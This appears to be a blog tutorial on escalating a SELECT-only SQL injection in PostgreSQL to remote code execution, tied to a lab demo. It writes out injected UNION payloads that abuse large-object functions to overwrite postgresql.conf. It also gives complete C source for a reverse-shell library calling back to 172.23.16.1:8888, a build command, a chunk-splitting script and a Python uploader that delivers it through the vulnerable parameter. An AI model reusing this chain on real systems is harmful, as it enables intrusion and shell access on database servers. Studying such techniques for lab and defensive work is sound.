---
# System prepended metadata

title: SQL Injection to RCE only Select

---

SQL Injection is a technical exploit that has a very high impact on web security. In this blog, I will demonstrate a simple query that is vulnerable to SQL Injection, which can potentially lead to Remote Code Execution (RCE).
![image](https://hackmd.io/_uploads/ryetgTs6kl.png)
Normally, we can SQL Injection to RCE take utilized payloads relied on stacked SQL queries “;“, while more languages have method prevents. It does this by converitng any SQL query into a prepared statement.

Because, this blog will have a solution to slove this problem SQL Injection to RCE but SELECT only.

* Lab demo : [GitHub](https://github.com/phtuanthanh/PostgreSQL-to-RCE-only-select)
* Database : PostgreSQL
* OS : Linux or Docker Desktop in Windows

**I. Potenial solution**

After researching, i was certain that an app can SQL to RCE is possible if the user database have a special permissions or DBA-level(Admin database) like in my case.

We can exploit rely on reading, and writing file on the system via fuction lo_import and lo_export functions.

However, condition to RCE is the application have a vuln can exploit UNION based and we need how many column, type column in original query.
![image](https://hackmd.io/_uploads/rycuMqsT1x.png)

On the server, only any file writeable by postgres(the user the DB process is running under):
![image](https://hackmd.io/_uploads/BkiiaFi6yx.png)
In the dircetory writeable, we focus the file postgresql.conf:
```...
# - Shared Library Preloading -

#local_preload_libraries = ''
#session_preload_libraries = ''
#shared_preload_libraries = ''	# (change requires restart)
...

# - Other Defaults -

#dynamic_library_path = '$libdir'
...
```
In the postgresql.conf, we can modify to the PostgreSQL server will preload from the directory set in dynamic_library_path.
Base on that, we can have roadmap step to step to exploit:
* Read current content postgresql.conf
* Modify content postgresql.conf consist:
    + dynamic_library_path to link directory store library
    + session_preload_libraries, local* or shared* preload libs (however session* seems the easiest to exploit)
* Complie and upload .so libs in server
* Reload the server config and RCE

II. Step on steps exploit
1. Read current content postgresql.conf

* Find path of postgresql.conf in server
  We can find path base the function pg_file_settings():
  ![image](https://hackmd.io/_uploads/rkxqzcoa1g.png)
* We utilized pg_largeobject to into content file in largeobject 
![image](https://hackmd.io/_uploads/H1MGDco61l.png)
Large object can known in the one content unzip into one ID, we can use fuction lo_import():
![image](https://hackmd.io/_uploads/BJ3vDcoa1l.png)
Image above, content file postgresql.conf store in OID 31337.
After, to read the content, use lo_get() fuction:
![image](https://hackmd.io/_uploads/SJF-_coTyl.png)
The content is decode hex, so we need encode hex to can read:
![image](https://hackmd.io/_uploads/Hki4u5o6ye.png)

2.Modify content postgresql.conf:

a. We need modify to use the following values:
*  dynamic_library_path = '/tmp:$libdir' — prepend a library path with a directory writable to our user, e.g., /tmp , since we must upload a .so lib there
*  session_preload_libraries = 'payload.so' — add our malicious .so lib into the preload list. You can also try to abuse local* or shared* preload libs, but session* seems the easiest to exploit. If we supply this option, the server will load our lib each time a new client connects to the DBMS.

Before modify, the file config look like:

![image](https://hackmd.io/_uploads/S1PfD3o61g.png)
You can delete any lines is comment to decrease size of file.
b. Encode
In the intruction article, they use base64, however i saw if utilized base64 can create error in the content file. So, i utilized hex:
![image](https://hackmd.io/_uploads/SJfOd3oakx.png)
You need change hex foramt output delimiter string is None
c. Override file
* Use function lo_from_bytea() to write content encode in a OID:
![image](https://hackmd.io/_uploads/ByR0d3iT1e.png)

```
GET /user?name=aaaa'+unio+select+1337,CAST((select+lo_from_bytea(33370,decode('23202D....'),'hex'))+as text),1+--+-
```
* Expose OID in file postgresql.conf:
![image](https://hackmd.io/_uploads/rkriFnsTkx.png)
Result:
![image](https://hackmd.io/_uploads/rkInF2iaJl.png)


3. Compiling and uploading the library


To exactly compiling, you need check version PostgreSQL, and install PostgreSQL to have library of PostgreSQL.

a. Get version and dowload PostgreSQL 
![image](https://hackmd.io/_uploads/HkJ_c2jTJe.png)

Before have verison, we install postgre following version in server victim:
```
 sudo apt install postgresql-13 postgresql-server-dev-13 -y
```
However, Ubuntu or linux can have not the packager postgresql of version. So, you can read the article:

[How to dowload PostgreSQL3 on unbuntu 20.04](https://blog.mindmeldwithminesh.com/how-to-install-postgresql-13-on-ubuntu-20-04-18-04-93f550f78cce)

b. Compile the .so library:

``` #include <stdio.h>
 #include <sys/socket.h>
 #include <sys/types.h>
 #include <stdlib.h>
 #include <unistd.h>
 #include <netinet/in.h>
 #include <arpa/inet.h>
 #include "postgres.h"
 #include "fmgr.h"
    
 #ifdef PG_MODULE_MAGIC
 PG_MODULE_MAGIC;
 #endif
    
 void _init() {
     /*
         code taken from https://www.revshells.com/
     */
    
     int port = 8888;
     struct sockaddr_in revsockaddr;
    
     int sockt = socket(AF_INET, SOCK_STREAM, 0);
     revsockaddr.sin_family = AF_INET;       
     revsockaddr.sin_port = htons(port);
     revsockaddr.sin_addr.s_addr = inet_addr("172.23.16.1");
    
     connect(sockt, (struct sockaddr *) &revsockaddr, 
     sizeof(revsockaddr));
     dup2(sockt, 0);
     dup2(sockt, 1);
     dup2(sockt, 2);
    
     char * const argv[] = {"/bin/bash", NULL};
     execve("/bin/bash", argv, NULL);
 }
```
Compile this .so lib. The code below is just a standard reverse shell payload from https://revshells.com with a PG_MODULE_MAGIC field defined for Postgres to load it correctly. The _init() function will be executed automatically on a library load.

```
 gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
```
c. Split the complied library
You need split file following any CHUNKs, encode , after upload in the server:

```
FILE="./payload.so"
OUTPUT_DIR="./payload_chunks"
CHUNK_SIZE=2048

mkdir -p "$OUTPUT_DIR"
split -b $CHUNK_SIZE "$FILE" "$OUTPUT_DIR/"

OFFSET=0
for f in $OUTPUT_DIR/*; do
    xxd -p -c 999999 "$f" > "$OUTPUT_DIR/hex_$OFFSET"
    rm "$f"
    OFFSET=$(($OFFSET + $CHUNK_SIZE))
done
```
In this file .sh, i split file following any CHUNK = 2048, encode hex.
![image](https://hackmd.io/_uploads/rJaNT2jakl.png)

d. Upload complied library:

* We should create one OID intial to store content base function lo_from_bytea()
* After, you can upload content in OID base function lo_put().
-> So, i code a file python to automation uploading
```python!
import requests
import sys,os
  
URL = "http://localhost:5000/user" # URL of the vulnerable application
DIR = "E:/Filelocation/Information-Security/Lab/SQLi/Postgre-SQL/Postgre_SQL/payload_chunks" # Directory containing the files to file .so decode hex
OID = 8382 # OID of the large object in PostgreSQL
CHUNK_SIZE = 2048  # Size of each chunk in bytes
LOOP = 1 # Number of chunks 
for filename in os.listdir(DIR):
    file_path = os.path.join(DIR, filename)
    with open(file_path, 'r') as file:
        if file.name.endswith("_0"): # Intial, we need to create the large object in PostgreSQL
            with open(file_path, 'r') as file:
                data = file.read()
            payload = {"name": f"a' union select 1333,CAST((select lo_from_bytea({OID},decode('{data}','hex'))) as text),1-- -"}
            res = requests.get(URL, params=payload)
            print(payload)
            print("\n")
        else:
            with open(file_path, 'r') as file: # Continue to write the large object in PostgreSQL
                data = file.read()
            payload = {"name": f"a' union select 1333,CAST((select lo_put({OID},{CHUNK_SIZE*LOOP},decode('{data}','hex'))) as text),1-- -"}
            res = requests.get(URL, params=payload)
            print(payload)
            print("\n")
```
Note: You should lo_put following multiple of 2048 so it's exctaly.
e. Data Integrity
If you are deploy lab to attack and pentest, you can use MD5 checksum to verify whether the uploaded data is intact.
* In the machine attack:
![image](https://hackmd.io/_uploads/Sk5fk6s61l.png)
* In the machine victim:
![image](https://hackmd.io/_uploads/Sk-E1ao6ke.png)

4. Reload the server config and RCE

You can use fuction pg_reload_conf() to reload config. You should  open port and procedure nc to have revershell:

![image](https://hackmd.io/_uploads/SyQi1ajTyg.png)

RCE succeffuly

III. Colusion:
That is how you can perform a SELECT-only RCE in PostgreSQL!
This technique can effectively be adapted even to the most limited injections — the only prerequisite are the admin rights.
However, this techniqual do not Keep connection alive, you should send request reload if want to revershell once again.

* Link article: [PostgreSQL SQL injection: SELECT only RCE](https://adeadfed.com/posts/postgresql-select-only-rce/#step-1-reading-current-postgresqlconf)



